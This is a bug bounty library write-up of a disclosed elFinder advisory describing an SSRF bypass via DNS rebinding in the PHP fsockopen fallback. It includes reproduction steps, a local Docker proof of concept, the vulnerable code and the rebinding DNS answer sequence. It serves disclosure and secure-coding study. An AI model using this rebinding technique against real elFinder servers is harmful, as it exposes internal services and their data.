# elFinder: SSRF protection bypass via DNS rebinding in the `fsock_get_contents()` fallback

elFinder's fsock_get_contents() SSRF fallback re-resolves the hostname after validation, letting DNS rebinding reach loopback and read internal HTTP responses as uploaded files.

- Payout: Research
- Severity: high
- Program: elFinder
- Found by: Marco198333
- Disclosed: 2026-08-31
- CVE: CVE-2026-81889
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8x3q-jpjh-qh5c
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8x3q-jpjh-qh5c
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:php technique:race-window technique:source-review vuln:ssrf

**Target:** PHP file manager URL-upload endpoint (fsock_get_contents fallback)
**Root cause:** validate_address() resolves the hostname and stores the accepted IP, but fsock_get_contents() ignores $info['ip'] and calls fsockopen() on the original hostname, causing a second DNS resolution (TOCTOU).
**Steps:**
1. Confirm PHP lacks cURL so get_remote_contents() selects fsock_get_contents().
2. Run a DNS server returning `203.0.113.10` on first A query and `127.0.0.1` on subsequent queries for `rebind.test`.
3. Bind an internal HTTP service to loopback:9001 serving `/secret.txt`.
4. Submit URL upload `http://rebind.test:9001/secret.txt` via elFinder Upload.
5. validate_address() accepts 203.0.113.10; fsockopen() re-resolves to 127.0.0.1 and fetches the internal file.
6. Open the resulting `secret.txt` in elFinder to read `INTERNAL_SECRET_MANUAL`.
**How found:** Code review comparing the cURL path (which pins the validated IP via CURLOPT_RESOLVE) against the socket fallback, noticing fsockopen() uses $arr['host'] instead of $info['ip'] — a validation-to-connection resolution gap.
**Exploitation:** Attacker with URL-upload access supplies an attacker-controlled hostname with low/zero TTL; validation sees a public IP, the socket connection re-resolves to loopback/private, and the internal HTTP GET response is saved as an uploaded file readable through elFinder (non-blind SSRF). Redirect variant `http://rebind.test:9001/redirect-secret` yields the same readback.
**Insight:** When a codebase has two HTTP fetch implementations, diff their SSRF defenses: the hardened one (CURLOPT_RESOLVE IP pinning) reveals exactly what the fallback is missing. Also check post-fetch helpers like get_headers($url) that re-request the original hostname outside the pinned connection.

## Proof of concept (copied exactly from the original report)

**Docker build/run and URL upload PoC steps**

```
docker build -t elfinder-ssrf-repro poc
docker run --rm -p 127.0.0.1:8081:8081 elfinder-ssrf-repro

Open:

http://127.0.0.1:8081/poc/index.html

In the elFinder interface:

1. Select "Upload".
2. Paste the following URL:

http://rebind.test:9001/secret.txt

3. Wait for the upload to complete.
4. Open the resulting `secret.txt` file.
```

**Vulnerable fsockopen call using hostname not validated IP**

```
$fp = fsockopen(
    $ssl . $arr['host'],
    $arr['port'],
    $errno,
    $errstr,
    $connect_timeout
);
```

**DNS rebinding server response sequence**

```
first A resolution       -> 203.0.113.10
subsequent A resolutions -> 127.0.0.1

Expected logs include:

DNS rebind.test type=1 answer=203.0.113.10 count=1
DNS rebind.test type=1 answer=127.0.0.1 count=2
GET /secret.txt
```

